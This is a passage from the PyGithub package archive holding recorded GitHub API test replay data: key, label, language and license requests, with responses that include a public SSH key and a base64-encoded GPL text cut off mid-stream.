0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/keys {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4947'), ('content-length', '507'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c53f260d8e74caefe7af2efeeda39e98"'), ('date', 'Sun, 27 May 2012 07:04:34 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/user/keys/2626761","verified":true,"key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2Mm0RjTNAYFfSCtUpO54usdseroUSIYg5KX4JoseTpqyiB/hqewjYLAdUq/tNIQzrkoEJWSyZrQt0ma7/YCyMYuNGd3DU6q6ZAyBeY3E9RyCiKjO3aTL2VKQGFvBVVmGdxGVSCITRphAcsKc/PF35/fg9XP9S0anMXcEFtdfMHz41SSw+XtE+Vc+6cX9FuI5qUfLGbkv8L1v3g4uw9VXlzq4GfTA+1S7D6mcoGHopAIXFlVr+2RfDKdSURMcB22z41fljO1MW4+zUS/4FyUTpL991es5fcwKXYoiE+x06VJeJJ1Krwx+DZj45uweV6cHXt2JwJEI9fWB6WyBlDejWw==","title":"Key added through PyGithub","id":2626761}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetLabel.txt0000644000175100001660000000134414756101563023456 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/labels/Label%20with%20silly%20name%20%25%20%2A%20%2B%20created%20by%20PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4983'), ('content-length', '191'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"92b623552b1bac3f019d03c920305acd"'), ('date', 'Sat, 19 May 2012 10:12:54 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Label+with+silly+name+%25+%2A+%2B+created+by+PyGithub","name":"Label with silly name % * + created by PyGithub","color":"00ff00"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetLabels.txt0000644000175100001660000000222414756101563023637 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4944'), ('content-length', '695'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"a35ac34bf5089a20b90cd0bb34001fa3"'), ('date', 'Sun, 27 May 2012 07:05:48 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Refactoring","name":"Refactoring","color":"0b02e1"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetLanguages.txt0000644000175100001660000000077414756101563024353 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/languages {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4941'), ('content-length', '29'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7d14a65f22f237036a50f0d982721206"'), ('date', 'Sun, 27 May 2012 07:06:51 GMT'), ('content-type', 'application/json; charset=utf-8')] {"Shell":673,"Python":127266} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetLicense.txt0000644000175100001660000014331214756101563024023 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/license {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '49333'), ('x-runtime-rack', '0.046154'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"287707443f87f08e8fb667831bfb6bfd"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4444'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DFA8:6252:EE3AE:13C7DF:5AB32F96'), ('last-modified', 'Wed, 21 Mar 2018 12:50:56 GMT'), ('date', 'Thu, 22 Mar 2018 04:22:46 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1521692964')] {"name":"COPYING","path":"COPYING","sha":"94a9ed024d3859793618152ea559a168bbcbb5e2","size":35147,"url":"https://api.github.com/repos/PyGithub/PyGithub/contents/COPYING?ref=master","html_url":"https://github.com/PyGithub/PyGithub/blob/master/COPYING","git_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/94a9ed024d3859793618152ea559a168bbcbb5e2","download_url":"https://raw.githubusercontent.com/PyGithub/PyGithub/master/COPYING","type":"file","content":"ICAgICAgICAgICAgICAgICAgICBHTlUgR0VORVJBTCBQVUJMSUMgTElDRU5T\nRQogICAgICAgICAgICAgICAgICAgICAgIFZlcnNpb24gMywgMjkgSnVuZSAy\nMDA3CgogQ29weXJpZ2h0IChDKSAyMDA3IEZyZWUgU29mdHdhcmUgRm91bmRh\ndGlvbiwgSW5jLiA8aHR0cDovL2ZzZi5vcmcvPgogRXZlcnlvbmUgaXMgcGVy\nbWl0dGVkIHRvIGNvcHkgYW5kIGRpc3RyaWJ1dGUgdmVyYmF0aW0gY29waWVz\nCiBvZiB0aGlzIGxpY2Vuc2UgZG9jdW1lbnQsIGJ1dCBjaGFuZ2luZyBpdCBp\ncyBub3QgYWxsb3dlZC4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBQ\ncmVhbWJsZQoKICBUaGUgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgaXMg\nYSBmcmVlLCBjb3B5bGVmdCBsaWNlbnNlIGZvcgpzb2Z0d2FyZSBhbmQgb3Ro\nZXIga2luZHMgb2Ygd29ya3MuCgogIFRoZSBsaWNlbnNlcyBmb3IgbW9zdCBz\nb2Z0d2FyZSBhbmQgb3RoZXIgcHJhY3RpY2FsIHdvcmtzIGFyZSBkZXNpZ25l\nZAp0byB0YWtlIGF3YXkgeW91ciBmcmVlZG9tIHRvIHNoYXJlIGFuZCBjaGFu\nZ2UgdGhlIHdvcmtzLiAgQnkgY29udHJhc3QsCnRoZSBHTlUgR2VuZXJhbCBQ\ndWJsaWMgTGljZW5zZSBpcyBpbnRlbmRlZCB0byBndWFyYW50ZWUgeW91ciBm\ncmVlZG9tIHRvCnNoYXJlIGFuZCBjaGFuZ2UgYWxsIHZlcnNpb25zIG9mIGEg\ncHJvZ3JhbS0tdG8gbWFrZSBzdXJlIGl0IHJlbWFpbnMgZnJlZQpzb2Z0d2Fy\nZSBmb3IgYWxsIGl0cyB1c2Vycy4gIFdlLCB0aGUgRnJlZSBTb2Z0d2FyZSBG\nb3VuZGF0aW9uLCB1c2UgdGhlCkdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNl\nIGZvciBtb3N0IG9mIG91ciBzb2Z0d2FyZTsgaXQgYXBwbGllcyBhbHNvIHRv\nCmFueSBvdGhlciB3b3JrIHJlbGVhc2VkIHRoaXMgd2F5IGJ5IGl0cyBhdXRo\nb3JzLiAgWW91IGNhbiBhcHBseSBpdCB0bwp5b3VyIHByb2dyYW1zLCB0b28u\nCgogIFdoZW4gd2Ugc3BlYWsgb2YgZnJlZSBzb2Z0d2FyZSwgd2UgYXJlIHJl\nZmVycmluZyB0byBmcmVlZG9tLCBub3QKcHJpY2UuICBPdXIgR2VuZXJhbCBQ\ndWJsaWMgTGljZW5zZXMgYXJlIGRlc2lnbmVkIHRvIG1ha2Ugc3VyZSB0aGF0\nIHlvdQpoYXZlIHRoZSBmcmVlZG9tIHRvIGRpc3RyaWJ1dGUgY29waWVzIG9m\nIGZyZWUgc29mdHdhcmUgKGFuZCBjaGFyZ2UgZm9yCnRoZW0gaWYgeW91IHdp\nc2gpLCB0aGF0IHlvdSByZWNlaXZlIHNvdXJjZSBjb2RlIG9yIGNhbiBnZXQg\naXQgaWYgeW91CndhbnQgaXQsIHRoYXQgeW91IGNhbiBjaGFuZ2UgdGhlIHNv\nZnR3YXJlIG9yIHVzZSBwaWVjZXMgb2YgaXQgaW4gbmV3CmZyZWUgcHJvZ3Jh\nbXMsIGFuZCB0aGF0IHlvdSBrbm93IHlvdSBjYW4gZG8gdGhlc2UgdGhpbmdz\nLgoKICBUbyBwcm90ZWN0IHlvdXIgcmlnaHRzLCB3ZSBuZWVkIHRvIHByZXZl\nbnQgb3RoZXJzIGZyb20gZGVueWluZyB5b3UKdGhlc2UgcmlnaHRzIG9yIGFz\na2luZyB5b3UgdG8gc3VycmVuZGVyIHRoZSByaWdodHMuICBUaGVyZWZvcmUs\nIHlvdSBoYXZlCmNlcnRhaW4gcmVzcG9uc2liaWxpdGllcyBpZiB5b3UgZGlz\ndHJpYnV0ZSBjb3BpZXMgb2YgdGhlIHNvZnR3YXJlLCBvciBpZgp5b3UgbW9k\naWZ5IGl0OiByZXNwb25zaWJpbGl0aWVzIHRvIHJlc3BlY3QgdGhlIGZyZWVk\nb20gb2Ygb3RoZXJzLgoKICBGb3IgZXhhbXBsZSwgaWYgeW91IGRpc3RyaWJ1\ndGUgY29waWVzIG9mIHN1Y2ggYSBwcm9ncmFtLCB3aGV0aGVyCmdyYXRpcyBv\nciBmb3IgYSBmZWUsIHlvdSBtdXN0IHBhc3Mgb24gdG8gdGhlIHJlY2lwaWVu\ndHMgdGhlIHNhbWUKZnJlZWRvbXMgdGhhdCB5b3UgcmVjZWl2ZWQuICBZb3Ug\nbXVzdCBtYWtlIHN1cmUgdGhhdCB0aGV5LCB0b28sIHJlY2VpdmUKb3IgY2Fu\nIGdldCB0aGUgc291cmNlIGNvZGUuICBBbmQgeW91IG11c3Qgc2hvdyB0aGVt\nIHRoZXNlIHRlcm1zIHNvIHRoZXkKa25vdyB0aGVpciByaWdodHMuCgogIERl\ndmVsb3BlcnMgdGhhdCB1c2UgdGhlIEdOVSBHUEwgcHJvdGVjdCB5b3VyIHJp\nZ2h0cyB3aXRoIHR3byBzdGVwczoKKDEpIGFzc2VydCBjb3B5cmlnaHQgb24g\ndGhlIHNvZnR3YXJlLCBhbmQgKDIpIG9mZmVyIHlvdSB0aGlzIExpY2Vuc2UK\nZ2l2aW5nIHlvdSBsZWdhbCBwZXJtaXNzaW9uIHRvIGNvcHksIGRpc3RyaWJ1\ndGUgYW5kL29yIG1vZGlmeSBpdC4KCiAgRm9yIHRoZSBkZXZlbG9wZXJzJyBh\nbmQgYXV0aG9ycycgcHJvdGVjdGlvbiwgdGhlIEdQTCBjbGVhcmx5IGV4cGxh\naW5zCnRoYXQgdGhlcmUgaXMgbm8gd2FycmFudHkgZm9yIHRoaXMgZnJlZSBz\nb2Z0d2FyZS4gIEZvciBib3RoIHVzZXJzJyBhbmQKYXV0aG9ycycgc2FrZSwg\ndGhlIEdQTCByZXF1aXJlcyB0aGF0IG1vZGlmaWVkIHZlcnNpb25zIGJlIG1h\ncmtlZCBhcwpjaGFuZ2VkLCBzbyB0aGF0IHRoZWlyIHByb2JsZW1zIHdpbGwg\nbm90IGJlIGF0dHJpYnV0ZWQgZXJyb25lb3VzbHkgdG8KYXV0aG9ycyBvZiBw\ncmV2aW91cyB2ZXJzaW9ucy4KCiAgU29tZSBkZXZpY2VzIGFyZSBkZXNpZ25l\nZCB0byBkZW55IHVzZXJzIGFjY2VzcyB0byBpbnN0YWxsIG9yIHJ1bgptb2Rp\nZmllZCB2ZXJzaW9ucyBvZiB0aGUgc29mdHdhcmUgaW5zaWRlIHRoZW0sIGFs\ndGhvdWdoIHRoZSBtYW51ZmFjdHVyZXIKY2FuIGRvIHNvLiAgVGhpcyBpcyBm\ndW5kYW1lbnRhbGx5IGluY29tcGF0aWJsZSB3aXRoIHRoZSBhaW0gb2YKcHJv\ndGVjdGluZyB1c2VycycgZnJlZWRvbSB0byBjaGFuZ2UgdGhlIHNvZnR3YXJl\nLiAgVGhlIHN5c3RlbWF0aWMKcGF0dGVybiBvZiBzdWNoIGFidXNlIG9jY3Vy\ncyBpbiB0aGUgYXJlYSBvZiBwcm9kdWN0cyBmb3IgaW5kaXZpZHVhbHMgdG8K\ndXNlLCB3aGljaCBpcyBwcmVjaXNlbHkgd2hlcmUgaXQgaXMgbW9zdCB1bmFj\nY2VwdGFibGUuICBUaGVyZWZvcmUsIHdlCmhhdmUgZGVzaWduZWQgdGhpcyB2\nZXJzaW9uIG9mIHRoZSBHUEwgdG8gcHJvaGliaXQgdGhlIHByYWN0aWNlIGZv\nciB0aG9zZQpwcm9kdWN0cy4gIElmIHN1Y2ggcHJvYmxlbXMgYXJpc2Ugc3Vi\nc3RhbnRpYWxseSBpbiBvdGhlciBkb21haW5zLCB3ZQpzdGFuZCByZWFkeSB0\nbyBleHRlbmQgdGhpcyBwcm92aXNpb24gdG8gdGhvc2UgZG9tYWlucyBpbiBm\ndXR1cmUgdmVyc2lvbnMKb2YgdGhlIEdQTCwgYXMgbmVlZGVkIHRvIHByb3Rl\nY3QgdGhlIGZyZWVkb20gb2YgdXNlcnMuCgogIEZpbmFsbHksIGV2ZXJ5IHBy\nb2dyYW0gaXMgdGhyZWF0ZW5lZCBjb25zdGFudGx5IGJ5IHNvZnR3YXJlIHBh\ndGVudHMuClN0YXRlcyBzaG91bGQgbm90IGFsbG93IHBhdGVudHMgdG8gcmVz\ndHJpY3QgZGV2ZWxvcG1lbnQgYW5kIHVzZSBvZgpzb2Z0d2FyZSBvbiBnZW5l\ncmFsLXB1cnBvc2UgY29tcHV0ZXJzLCBidXQgaW4gdGhvc2UgdGhhdCBkbywg\nd2Ugd2lzaCB0bwphdm9pZCB0aGUgc3BlY2lhbCBkYW5nZXIgdGhhdCBwYXRl\nbnRzIGFwcGxpZWQgdG8gYSBmcmVlIHByb2dyYW0gY291bGQKbWFrZSBpdCBl\nZmZlY3RpdmVseSBwcm9wcmlldGFyeS4gIFRvIHByZXZlbnQgdGhpcywgdGhl\nIEdQTCBhc3N1cmVzIHRoYXQKcGF0ZW50cyBjYW5ub3QgYmUgdXNlZCB0byBy\nZW5kZXIgdGhlIHByb2dyYW0gbm9uLWZyZWUuCgogIFRoZSBwcmVjaXNlIHRl\ncm1zIGFuZCBjb25kaXRpb25zIGZvciBjb3B5aW5nLCBkaXN0cmlidXRpb24g\nYW5kCm1vZGlmaWNhdGlvbiBmb2xsb3cuCgogICAgICAgICAgICAgICAgICAg\nICAgIFRFUk1TIEFORCBDT05ESVRJT05TCgogIDAuIERlZmluaXRpb25zLgoK\nICAiVGhpcyBMaWNlbnNlIiByZWZlcnMgdG8gdmVyc2lvbiAzIG9mIHRoZSBH\nTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZS4KCiAgIkNvcHlyaWdodCIgYWxz\nbyBtZWFucyBjb3B5cmlnaHQtbGlrZSBsYXdzIHRoYXQgYXBwbHkgdG8gb3Ro\nZXIga2luZHMgb2YKd29ya3MsIHN1Y2ggYXMgc2VtaWNvbmR1Y3RvciBtYXNr\ncy4KCiAgIlRoZSBQcm9ncmFtIiByZWZlcnMgdG8gYW55IGNvcHlyaWdodGFi\nbGUgd29yayBsaWNlbnNlZCB1bmRlciB0aGlzCkxpY2Vuc2UuICBFYWNoIGxp\nY2Vuc2VlIGlzIGFkZHJlc3NlZCBhcyAieW91Ii4gICJMaWNlbnNlZXMiIGFu\nZAoicmVjaXBpZW50cyIgbWF5IGJlIGluZGl2aWR1YWxzIG9yIG9yZ2FuaXph\ndGlvbnMuCgogIFRvICJtb2RpZnkiIGEgd29yayBtZWFucyB0byBjb3B5IGZy\nb20gb3IgYWRhcHQgYWxsIG9yIHBhcnQgb2YgdGhlIHdvcmsKaW4gYSBmYXNo\naW9uIHJlcXVpcmluZyBjb3B5cmlnaHQgcGVybWlzc2lvbiwgb3RoZXIgdGhh\nbiB0aGUgbWFraW5nIG9mIGFuCmV4YWN0IGNvcHkuICBUaGUgcmVzdWx0aW5n\nIHdvcmsgaXMgY2FsbGVkIGEgIm1vZGlmaWVkIHZlcnNpb24iIG9mIHRoZQpl\nYXJsaWVyIHdvcmsgb3IgYSB3b3JrICJiYXNlZCBvbiIgdGhlIGVhcmxpZXIg\nd29yay4KCiAgQSAiY292ZXJlZCB3b3JrIiBtZWFucyBlaXRoZXIgdGhlIHVu\nbW9kaWZpZWQgUHJvZ3JhbSBvciBhIHdvcmsgYmFzZWQKb24gdGhlIFByb2dy\nYW0uCgogIFRvICJwcm9wYWdhdGUiIGEgd29yayBtZWFucyB0byBkbyBhbnl0\naGluZyB3aXRoIGl0IHRoYXQsIHdpdGhvdXQKcGVybWlzc2lvbiwgd291bGQg\nbWFrZSB5b3UgZGlyZWN0bHkgb3Igc2Vjb25kYXJpbHkgbGlhYmxlIGZvcgpp\nbmZyaW5nZW1lbnQgdW5kZXIgYXBwbGljYWJsZSBjb3B5cmlnaHQgbGF3LCBl\neGNlcHQgZXhlY3V0aW5nIGl0IG9uIGEKY29tcHV0ZXIgb3IgbW9kaWZ5aW5n\nIGEgcHJpdmF0ZSBjb3B5LiAgUHJvcGFnYXRpb24gaW5jbHVkZXMgY29weWlu\nZywKZGlzdHJpYnV0aW9uICh3aXRoIG9yIHdpdGhvdXQgbW9kaWZpY2F0aW9u\nKSwgbWFraW5nIGF2YWlsYWJsZSB0byB0aGUKcHVibGljLCBhbmQgaW4gc29t\nZSBjb3VudHJpZXMgb3RoZXIgYWN0aXZpdGllcyBhcyB3ZWxsLgoKICBUbyAi\nY29udmV5IiBhIHdvcmsgbWVhbnMgYW55IGtpbmQgb2YgcHJvcGFnYXRpb24g\ndGhhdCBlbmFibGVzIG90aGVyCnBhcnRpZXMgdG8gbWFrZSBvciByZWNlaXZl\nIGNvcGllcy4gIE1lcmUgaW50ZXJhY3Rpb24gd2l0aCBhIHVzZXIgdGhyb3Vn\naAphIGNvbXB1dGVyIG5ldHdvcmssIHdpdGggbm8gdHJhbnNmZXIgb2YgYSBj\nb3B5LCBpcyBub3QgY29udmV5aW5nLgoKICBBbiBpbnRlcmFjdGl2ZSB1c2Vy\nIGludGVyZmFjZSBkaXNwbGF5cyAiQXBwcm9wcmlhdGUgTGVnYWwgTm90aWNl\ncyIKdG8gdGhlIGV4dGVudCB0aGF0IGl0IGluY2x1ZGVzIGEgY29udmVuaWVu\ndCBhbmQgcHJvbWluZW50bHkgdmlzaWJsZQpmZWF0dXJlIHRoYXQgKDEpIGRp\nc3BsYXlzIGFuIGFwcHJvcHJpYXRlIGNvcHlyaWdodCBub3RpY2UsIGFuZCAo\nMikKdGVsbHMgdGhlIHVzZXIgdGhhdCB0aGVyZSBpcyBubyB3YXJyYW50eSBm\nb3IgdGhlIHdvcmsgKGV4Y2VwdCB0byB0aGUKZXh0ZW50IHRoYXQgd2FycmFu\ndGllcyBhcmUgcHJvdmlkZWQpLCB0aGF0IGxpY2Vuc2VlcyBtYXkgY29udmV5\nIHRoZQp3b3JrIHVuZGVyIHRoaXMgTGljZW5zZSwgYW5kIGhvdyB0byB2aWV3\nIGEgY29weSBvZiB0aGlzIExpY2Vuc2UuICBJZgp0aGUgaW50ZXJmYWNlIHBy\nZXNlbnRzIGEgbGlzdCBvZiB1c2VyIGNvbW1hbmRzIG9yIG9wdGlvbnMsIHN1\nY2ggYXMgYQptZW51LCBhIHByb21pbmVudCBpdGVtIGluIHRoZSBsaXN0IG1l\nZXRzIHRoaXMgY3JpdGVyaW9uLgoKICAxLiBTb3VyY2UgQ29kZS4KCiAgVGhl\nICJzb3VyY2UgY29kZSIgZm9yIGEgd29yayBtZWFucyB0aGUgcHJlZmVycmVk\nIGZvcm0gb2YgdGhlIHdvcmsKZm9yIG1ha2luZyBtb2RpZmljYXRpb25zIHRv\nIGl0LiAgIk9iamVjdCBjb2RlIiBtZWFucyBhbnkgbm9uLXNvdXJjZQpmb3Jt\nIG9mIGEgd29yay4KCiAgQSAiU3RhbmRhcmQgSW50ZXJmYWNlIiBtZWFucyBh\nbiBpbnRlcmZhY2UgdGhhdCBlaXRoZXIgaXMgYW4gb2ZmaWNpYWwKc3RhbmRh\ncmQgZGVmaW5lZCBieSBhIHJlY29nbml6ZWQgc3RhbmRhcmRzIGJvZHksIG9y\nLCBpbiB0aGUgY2FzZSBvZgppbnRlcmZhY2VzIHNwZWNpZmllZCBmb3IgYSBw\nYXJ0aWN1bGFyIHByb2dyYW1taW5nIGxhbmd1YWdlLCBvbmUgdGhhdAppcyB3\naWRlbHkgdXNlZCBhbW9uZyBkZXZlbG9wZXJzIHdvcmtpbmcgaW4gdGhhdCBs\nYW5ndWFnZS4KCiAgVGhlICJTeXN0ZW0gTGlicmFyaWVzIiBvZiBhbiBleGVj\ndXRhYmxlIHdvcmsgaW5jbHVkZSBhbnl0aGluZywgb3RoZXIKdGhhbiB0aGUg\nd29yayBhcyBhIHdob2xlLCB0aGF0IChhKSBpcyBpbmNsdWRlZCBpbiB0aGUg\nbm9ybWFsIGZvcm0gb2YKcGFja2FnaW5nIGEgTWFqb3IgQ29tcG9uZW50LCBi\ndXQgd2hpY2ggaXMgbm90IHBhcnQgb2YgdGhhdCBNYWpvcgpDb21wb25lbnQs\nIGFuZCAoYikgc2VydmVzIG9ubHkgdG8gZW5hYmxlIHVzZSBvZiB0aGUgd29y\nayB3aXRoIHRoYXQKTWFqb3IgQ29tcG9uZW50LCBvciB0byBpbXBsZW1lbnQg\nYSBTdGFuZGFyZCBJbnRlcmZhY2UgZm9yIHdoaWNoIGFuCmltcGxlbWVudGF0\naW9uIGlzIGF2YWlsYWJsZSB0byB0aGUgcHVibGljIGluIHNvdXJjZSBjb2Rl\nIGZvcm0uICBBCiJNYWpvciBDb21wb25lbnQiLCBpbiB0aGlzIGNvbnRleHQs\nIG1lYW5zIGEgbWFqb3IgZXNzZW50aWFsIGNvbXBvbmVudAooa2VybmVsLCB3\naW5kb3cgc3lzdGVtLCBhbmQgc28gb24pIG9mIHRoZSBzcGVjaWZpYyBvcGVy\nYXRpbmcgc3lzdGVtCihpZiBhbnkpIG9uIHdoaWNoIHRoZSBleGVjdXRhYmxl\nIHdvcmsgcnVucywgb3IgYSBjb21waWxlciB1c2VkIHRvCnByb2R1Y2UgdGhl\nIHdvcmssIG9yIGFuIG9iamVjdCBjb2RlIGludGVycHJldGVyIHVzZWQgdG8g\ncnVuIGl0LgoKICBUaGUgIkNvcnJlc3BvbmRpbmcgU291cmNlIiBmb3IgYSB3\nb3JrIGluIG9iamVjdCBjb2RlIGZvcm0gbWVhbnMgYWxsCnRoZSBzb3VyY2Ug\nY29kZSBuZWVkZWQgdG8gZ2VuZXJhdGUsIGluc3RhbGwsIGFuZCAoZm9yIGFu\nIGV4ZWN1dGFibGUKd29yaykgcnVuIHRoZSBvYmplY3QgY29kZSBhbmQgdG8g\nbW9kaWZ5IHRoZSB3b3JrLCBpbmNsdWRpbmcgc2NyaXB0cyB0bwpjb250cm9s\nIHRob3NlIGFjdGl2aXRpZXMuICBIb3dldmVyLCBpdCBkb2VzIG5vdCBpbmNs\ndWRlIHRoZSB3b3JrJ3MKU3lzdGVtIExpYnJhcmllcywgb3IgZ2VuZXJhbC1w\ndXJwb3NlIHRvb2xzIG9yIGdlbmVyYWxseSBhdmFpbGFibGUgZnJlZQpwcm9n\ncmFtcyB3aGljaCBhcmUgdXNlZCB1bm1vZGlmaWVkIGluIHBlcmZvcm1pbmcg\ndGhvc2UgYWN0aXZpdGllcyBidXQKd2hpY2ggYXJlIG5vdCBwYXJ0IG9mIHRo\nZSB3b3JrLiAgRm9yIGV4YW1wbGUsIENvcnJlc3BvbmRpbmcgU291cmNlCmlu\nY2x1ZGVzIGludGVyZmFjZSBkZWZpbml0aW9uIGZpbGVzIGFzc29jaWF0ZWQg\nd2l0aCBzb3VyY2UgZmlsZXMgZm9yCnRoZSB3b3JrLCBhbmQgdGhlIHNvdXJj\nZSBjb2RlIGZvciBzaGFyZWQgbGlicmFyaWVzIGFuZCBkeW5hbWljYWxseQps\naW5rZWQgc3VicHJvZ3JhbXMgdGhhdCB0aGUgd29yayBpcyBzcGVjaWZpY2Fs\nbHkgZGVzaWduZWQgdG8gcmVxdWlyZSwKc3VjaCBhcyBieSBpbnRpbWF0ZSBk\nYXRhIGNvbW11bmljYXRpb24gb3IgY29udHJvbCBmbG93IGJldHdlZW4gdGhv\nc2UKc3VicHJvZ3JhbXMgYW5kIG90aGVyIHBhcnRzIG9mIHRoZSB3b3JrLgoK\nICBUaGUgQ29ycmVzcG9uZGluZyBTb3VyY2UgbmVlZCBub3QgaW5jbHVkZSBh\nbnl0aGluZyB0aGF0IHVzZXJzCmNhbiByZWdlbmVyYXRlIGF1dG9tYXRpY2Fs\nbHkgZnJvbSBvdGhlciBwYXJ0cyBvZiB0aGUgQ29ycmVzcG9uZGluZwpTb3Vy\nY2UuCgogIFRoZSBDb3JyZXNwb25kaW5nIFNvdXJjZSBmb3IgYSB3b3JrIGlu\nIHNvdXJjZSBjb2RlIGZvcm0gaXMgdGhhdApzYW1lIHdvcmsuCgogIDIuIEJh\nc2ljIFBlcm1pc3Npb25zLgoKICBBbGwgcmlnaHRzIGdyYW50ZWQgdW5kZXIg\ndGhpcyBMaWNlbnNlIGFyZSBncmFudGVkIGZvciB0aGUgdGVybSBvZgpjb3B5\ncmlnaHQgb24gdGhlIFByb2dyYW0sIGFuZCBhcmUgaXJyZXZvY2FibGUgcHJv\ndmlkZWQgdGhlIHN0YXRlZApjb25kaXRpb25zIGFyZSBtZXQuICBUaGlzIExp\nY2Vuc2UgZXhwbGljaXRseSBhZmZpcm1zIHlvdXIgdW5saW1pdGVkCnBlcm1p\nc3Npb24gdG8gcnVuIHRoZSB1bm1vZGlmaWVkIFByb2dyYW0uICBUaGUgb3V0\ncHV0IGZyb20gcnVubmluZyBhCmNvdmVyZWQgd29yayBpcyBjb3ZlcmVkIGJ5\nIHRoaXMgTGljZW5zZSBvbmx5IGlmIHRoZSBvdXRwdXQsIGdpdmVuIGl0cwpj\nb250ZW50LCBjb25zdGl0dXRlcyBhIGNvdmVyZWQgd29yay4gIFRoaXMgTGlj\nZW5zZSBhY2tub3dsZWRnZXMgeW91cgpyaWdodHMgb2YgZmFpciB1c2Ugb3Ig\nb3RoZXIgZXF1aXZhbGVudCwgYXMgcHJvdmlkZWQgYnkgY29weXJpZ2h0IGxh\ndy4KCiAgWW91IG1heSBtYWtlLCBydW4gYW5kIHByb3BhZ2F0ZSBjb3ZlcmVk\nIHdvcmtzIHRoYXQgeW91IGRvIG5vdApjb252ZXksIHdpdGhvdXQgY29uZGl0\naW9ucyBzbyBsb25nIGFzIHlvdXIgbGljZW5zZSBvdGhlcndpc2UgcmVtYWlu\ncwppbiBmb3JjZS4gIFlvdSBtYXkgY29udmV5IGNvdmVyZWQgd29ya3MgdG8g\nb3RoZXJzIGZvciB0aGUgc29sZSBwdXJwb3NlCm9mIGhhdmluZyB0aGVtIG1h\na2UgbW9kaWZpY2F0aW9ucyBleGNsdXNpdmVseSBmb3IgeW91LCBvciBwcm92\naWRlIHlvdQp3aXRoIGZhY2lsaXRpZXMgZm9yIHJ1bm5pbmcgdGhvc2Ugd29y\na3MsIHByb3ZpZGVkIHRoYXQgeW91IGNvbXBseSB3aXRoCnRoZSB0ZXJtcyBv\nZiB0aGlzIExpY2Vuc2UgaW4gY29udmV5aW5nIGFsbCBtYXRlcmlhbCBmb3Ig\nd2hpY2ggeW91IGRvCm5vdCBjb250cm9sIGNvcHlyaWdodC4gIFRob3NlIHRo\ndXMgbWFraW5nIG9yIHJ1bm5pbmcgdGhlIGNvdmVyZWQgd29ya3MKZm9yIHlv\ndSBtdXN0IGRvIHNvIGV4Y2x1c2l2ZWx5IG9uIHlvdXIgYmVoYWxmLCB1bmRl\nciB5b3VyIGRpcmVjdGlvbgphbmQgY29udHJvbCwgb24gdGVybXMgdGhhdCBw\ncm9oaWJpdCB0aGVtIGZyb20gbWFraW5nIGFueSBjb